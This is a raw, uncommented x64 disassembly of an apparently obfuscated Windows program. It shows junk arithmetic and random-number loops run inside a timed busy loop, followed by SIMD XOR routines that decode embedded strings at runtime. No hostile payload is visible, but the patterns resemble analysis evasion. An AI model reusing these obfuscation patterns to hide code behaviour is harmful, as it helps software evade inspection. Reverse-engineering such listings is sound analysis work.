mov dword [rbp + 0x2ba4], 0xffffffff
mov dword [rbp + 0x1824], eax
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x1824], eax
inc rdx
cmp rdx, 0x270
jb 0x14000c640
mov dword [rbp + 0x1820], 0x270
mov dword [rbp + 0x140], 0xffffff9c
mov dword [rbp + 0x144], 0x64
movsd xmm13, qword [0x140030718]
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm8
lea rcx, [rbp + 0x58]
call fcn.140001680
mov rbx, qword [rbp + 0x58]
add rbx, 0x5f5e100
mov qword [rsp + 0x78], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
mov qword [rbp + 0x158], r12
mov ecx, 8
call fcn.14002bc68
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x98], r12
mov qword [rbp - 0x78], rax
mov rdx, qword [rbp + 0x150]
cmp rdx, qword [rbp + 0x158]
je 0x14000c703
mov rcx, r12
mov qword [rbp - 0x78], rcx
mov qword [rdx], rax
add qword [rbp + 0x150], 8
jmp 0x14000c717
lea r8, [rbp - 0x78]
lea rcx, [rbp + 0x148]
call fcn.1400233c0
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x14000c725
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xa0], r12
mov qword [rbp - 0x48], rax
mov rdx, qword [rbp + 0x150]
cmp rdx, qword [rbp + 0x158]
je 0x14000c768
mov rcx, r12
mov qword [rbp - 0x48], rcx
mov qword [rdx], rax
add qword [rbp + 0x150], 8
jmp 0x14000c77c
lea r8, [rbp - 0x48]
lea rcx, [rbp + 0x148]
call fcn.1400233c0
mov rcx, qword [rbp - 0x48]
test rcx, rcx
je 0x14000c78a
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xa8], r12
mov qword [rbp - 0x40], rax
mov rdx, qword [rbp + 0x150]
cmp rdx, qword [rbp + 0x158]
je 0x14000c7cd
mov rcx, r12
mov qword [rbp - 0x40], rcx
mov qword [rdx], rax
add qword [rbp + 0x150], 8
jmp 0x14000c7e1
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x148]
call fcn.1400233c0
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x14000c7ef
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xb0], r12
mov qword [rbp - 0x38], rax
mov rdx, qword [rbp + 0x150]
cmp rdx, qword [rbp + 0x158]
je 0x14000c832
mov rcx, r12
mov qword [rbp - 0x38], rcx
mov qword [rdx], rax
add qword [rbp + 0x150], 8
jmp 0x14000c846
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x148]
call fcn.1400233c0
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x14000c854
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0x78], r12
mov qword [rsp + 0x70], rax
mov rdx, qword [rbp + 0x150]
cmp rdx, qword [rbp + 0x158]
je 0x14000c896
mov rcx, r12
mov qword [rsp + 0x70], rcx
mov qword [rdx], rax
add qword [rbp + 0x150], 8
jmp 0x14000c8ac
lea r8, [rsp + 0x70]
lea rcx, [rbp + 0x148]
call fcn.1400233c0
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x14000c8ba
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
mov ecx, 8
call fcn.14002bc68
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xb8], r12
mov qword [rsp + 0x68], rax
mov rdx, qword [rbp + 0x150]
cmp rdx, qword [rbp + 0x158]
je 0x14000c8ff
mov rcx, r12
mov qword [rsp + 0x68], rcx
mov qword [rdx], rax
add qword [rbp + 0x150], 8
jmp 0x14000c915
lea r8, [rsp + 0x68]
lea rcx, [rbp + 0x148]
call fcn.1400233c0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000c923
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
nop
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
mov rcx, rax
cmp rdi, 0x989680
jne 0x14000c944
imul rax, rcx, 0x64
jmp 0x14000c9b3
cmp rdi, 0x16e3600
jne 0x14000c998
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r14
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14000c9b3
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14000d42a
mov dword [rsp + 0x40], r12d
mov r12d, dword [rbp + 0x140]
btc r12d, 0x1f
mov dword [rsp + 0x60], r12d
mov r13d, dword [rbp + 0x144]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x1820]
cmp r13d, 0xffffffff
jne 0x14000ca0d
call fcn.140024390
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
jmp 0x14000caa7
lea edi, [r13 + 1]
call fcn.140024390
mov r14d, edi
mov ecx, eax
imul rcx, r14
mov eax, edi
cmp ecx, edi
jae 0x14000ca4b
neg eax
xor edx, edx
div edi
mov esi, edx
mov eax, edi
cmp ecx, edx
jae 0x14000ca4b
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14000ca33
jmp 0x14000ca4d
mov edi, eax
mov r14d, r12d
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov edx, edi
mov qword [rbp], rdx
mov ecx, eax
imul rcx, rdx
mov esi, edi
mov r15d, r12d
cmp ecx, edi
jae 0x14000caa3
mov eax, edi
neg eax
xor edx, edx
div edi
cmp ecx, edx
jae 0x14000caa3
mov ebx, edx
mov r12, qword [rbp]
mov r15d, r14d
mov esi, edi
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, r12
cmp ecx, ebx
jb 0x14000ca83
mov r12d, dword [rsp + 0x60]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x148]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x60], rdi
lea rcx, [rbp + 0x1820]
call fcn.140024390
cmp r13d, 0xffffffff
jne 0x14000caf6
mov ecx, eax
jmp 0x14000cb30
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14000cb2c
mov eax, esi
neg eax
xor edx, edx
div esi
mov edi, edx
cmp ecx, edx
jae 0x14000cb27
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000cb11
mov rdi, qword [rsp + 0x60]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x30]
mov rcx, r15
call rdi
mov dword [rsp + 0x30], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000cb53
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14000cba0
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm0, xmm12
andps xmm0, xmm6
addsd xmm0, xmm10
call sub.api_ms_win_crt_math_l1_1_0.dll_log
movaps xmm7, xmm0
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm6, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm6, xmm0
addsd xmm7, xmm6
movaps xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
addsd xmm7, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000cc40
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movaps xmm1, xmm15
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000cca2
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x38]
mulsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
xor r13d, r13d
mov qword [rbp + 0x238], r13
mov qword [rbp + 0x240], r13
mov r8d, 6
lea rdx, str.random
lea rcx, [rbp + 0x228]
call fcn.140022520
nop
lea rdi, [rbp + 0x228]
cmp qword [rbp + 0x240], 0xf
cmova rdi, qword [rbp + 0x228]
lea rsi, [rbp + 0x228]
cmova rsi, qword [rbp + 0x228]
add rsi, qword [rbp + 0x238]
cmp rdi, rsi
je 0x14000cda7
nop word [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14000cd97
nop word [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14000cd80
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, rsi
jne 0x14000cd60
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
mov qword [rbp + 0x1a8], r13
mov ecx, 0x190
call fcn.14002bc68
mov qword [rbp + 0x198], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x1a8], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x1a0], r14
mov rsi, qword [rbp + 0x198]
cmp rsi, r14
je 0x14000ce2c
nop dword [rax + rax]
lea rdx, [rbp + 0x1820]
lea rcx, [rbp + 0x140]
call fcn.1400210b0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000ce00
mov r14, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x198]
mov dword [rbp + 0x1b0], 0xffffff9c
mov dword [rbp + 0x1b4], 0x64
lea rax, [rbp + 0x1b0]
mov qword [rbp + 0x60], rax
lea rax, [rbp + 0x1820]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp], xmm0
cmp rsi, r14
je 0x14000ce98
mov r15, qword [rbp + 8]
mov r12, qword [rbp]
nop dword [rax]
mov edi, dword [rsi]
mov rdx, r15
mov rcx, r12
call fcn.1400210b0
add eax, edi
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x14000ce70
mov r14, qword [rbp + 0x1a0]
mov rsi, qword [rbp + 0x198]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.140023dd0
mov r8d, r13d
mov rax, qword [rbp + 0x198]
mov rdx, r13
mov r9, qword [rbp + 0x1a0]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r13
test rcx, rcx
je 0x14000cf35
cmp rcx, 8
jb 0x14000cf35
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm0, xmm2
movdqa xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14000cef0
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14000cf4c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14000cf40
mov eax, dword [rsp + 0x30]
add eax, r8d
mov dword [rsp + 0x30], eax
mov esi, dword [rbp + 0x140]
btc esi, 0x1f
mov r12d, dword [rbp + 0x144]
btc r12d, 0x1f
sub r12d, esi
lea rcx, [rbp + 0x1820]
cmp r12d, 0xffffffff
jne 0x14000cf9e
call fcn.140024390
lea edi, [rax + rsi]
xor edi, 0x80000000
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
jmp 0x14000d041
inc r12d
call fcn.140024390
mov r14d, r12d
mov ecx, eax
imul rcx, r14
cmp ecx, r12d
jae 0x14000cfda
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov edi, edx
cmp ecx, edx
jae 0x14000cfda
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, r14
cmp ecx, edi
jb 0x14000cfc4
shr rcx, 0x20
lea r14d, [rcx + rsi]
xor r14d, 0x80000000
mov r15d, esi
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov r13d, r12d
mov ecx, eax
imul rcx, r13
mov edi, r14d
cmp ecx, r12d
jae 0x14000d03d
mov eax, r12d
neg eax
xor edx, edx
div r12d
mov r12d, edx
cmp ecx, edx
jae 0x14000d03d
nop word [rax + rax]
mov esi, r15d
mov edi, r14d
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, r13
cmp ecx, r12d
jb 0x14000d020
shr rcx, 0x20
lea r8d, [rcx + rsi]
btc r8d, 0x1f
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
mov r14d, dword [rbp + 0x140]
btc r14d, 0x1f
test al, 1
mov eax, dword [rbp + 0x144]
lea rcx, [rbp + 0x1820]
jne 0x14000d109
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000d0b4
call fcn.140024390
mov ecx, eax
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000d167
lea edi, [rax + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d0f6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d0f6
nop word [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d0e0
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
jmp 0x14000d167
btc eax, 0x1f
sub eax, r14d
cmp eax, 0xffffffff
jne 0x14000d11e
call fcn.140024390
mov ecx, eax
jmp 0x14000d15a
lea edi, [rax + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d156
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d156
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d140
shr rcx, 0x20
add ecx, r14d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
sub eax, ecx
mov dword [rsp + 0x30], eax
mov r12d, dword [rbp + 0x140]
btc r12d, 0x1f
mov r13d, 5
mov r15d, dword [rbp + 0x144]
btc r15d, 0x1f
sub r15d, r12d
xor ebx, ebx
nop
mov r14d, ebx
lea rcx, [rbp + 0x1820]
cmp r15d, 0xffffffff
jne 0x14000d1a9
call fcn.140024390
mov ecx, eax
jmp 0x14000d1ea
lea edi, [r15 + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d1e6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d1e6
nop dword [rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d1d0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d210
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
addsd xmm1, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm1
test r14b, 1
jne 0x14000d2ce
lea rcx, [rbp + 0x1820]
cmp r15d, 0xffffffff
jne 0x14000d274
call fcn.140024390
mov ecx, eax
jmp 0x14000d2ba
lea edi, [r15 + 1]
call fcn.140024390
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x14000d2b6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14000d2b6
nop word [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x14000d2a0
shr rcx, 0x20
add ecx, r12d
btc ecx, 0x1f
mov eax, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000d331
movaps xmm1, xmm8
movaps xmm2, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x1820]
call fcn.140024390
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14000d2e0
divsd xmm1, xmm2
mulsd xmm1, xmm14
addsd xmm1, xmm13
movsd xmm0, qword [rsp + 0x38]
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
inc r14d
cmp r14d, 5
jl 0x14000d193
sub r13, 1
jne 0x14000d190
mov rbx, qword [rsp + 0x78]
mov rcx, qword [rbp + 0x198]
test rcx, rcx
je 0x14000d3b0
mov rax, qword [rbp + 0x1a8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d394
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d41c
call fcn.14002bc60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x198], xmm0
xor r12d, r12d
mov qword [rbp + 0x1a8], r12
jmp 0x14000d3b3
xor r12d, r12d
mov rdx, qword [rbp + 0x240]
cmp rdx, 0xf
jbe 0x14000d3f0
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d3eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000d423
call fcn.14002bc60
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
cmp eax, 0x186a0
movsd xmm6, qword [0x1400307c0]
jl 0x14000c9c1
movabs r14, 0xb2f4fc0794908cf3
jmp 0x14000c923
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x30]
mov rbx, qword [rbp + 0x148]
test rbx, rbx
je 0x14000d4c8
mov rdi, qword [rbp + 0x150]
cmp rbx, rdi
je 0x14000d470
mov r13d, 1
mov rcx, qword [rbx]
test rcx, rcx
je 0x14000d460
mov rax, qword [rcx]
mov edx, r13d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x14000d450
mov rbx, qword [rbp + 0x148]
mov rax, qword [rbp + 0x158]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000d4ae
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d4ae
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14002bc60
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x148], xmm0
mov qword [rbp + 0x158], r12
movups xmm0, xmmword [0x14002fbf0]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x14002fc00]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x14002fc10]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x14002fc20]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x14002fc30]
movups xmmword [rbp + 0x100], xmm0
movsd xmm0, qword [0x14002fc40]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x14002fc48]
mov dword [rbp + 0x118], eax
mov r9d, r12d
mov ebx, dword [0x140038090]
cmp ebx, 2
jl 0x14000d717
movdqa xmm8, xmmword [0x140030740]
movdqa xmm6, xmmword [0x1400307e0]
movdqa xmm7, xmmword [0x1400307d0]
movdqa xmm9, xmmword [0x140030760]
movdqa xmm10, xmmword [0x140030770]
movdqa xmm11, xmmword [0x140030790]
lea rcx, [rbp + 0xc0]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm8
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm9
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm11
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x28
jl 0x14000d580
cmp r9d, 0x2e
jge 0x14000d78c
movsxd rax, r9d
lea r10, [rbp + 0xc0]
lea r10, [r10 + rax*2]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3e
movzx r8d, r9w
sub r8w, cx
add r8w, r8w
mov eax, 0xa57eb503
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x63
sub r8w, cx
add r8w, 0x1b
xor word [r10], r8w
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x2e
jl 0x14000d730
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x290]
call fcn.140021760
movups xmm11, xmmword [str.LnwrK_KE]
movups xmmword [rbp + 0x18], xmm11
movsd xmm0, qword [0x1400300c8]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x1400300d0]
mov dword [rbp + 0x30], eax
movzx eax, word [0x1400300d4]
mov word [rbp + 0x34], ax
mov r9d, r12d
cmp ebx, 2
jl 0x14000d974
movdqa xmm6, xmmword [0x1400307e0]
movdqa xmm7, xmmword [0x1400307d0]
movdqa xmm10, xmmword [0x140030790]
movdqa xmm5, xmmword [0x140030740]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140030760]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x140030770]
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm10
paddw xmm3, xmm0
movq xmm1, xmm11
xorps xmm3, xmm1
movq qword [rbp + 0x18], xmm3
movdqa xmm5, xmmword [0x140030750]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, 6
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, 6
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140030770]
movdqa xmm0, xmm5
psubd xmm0, xmm1
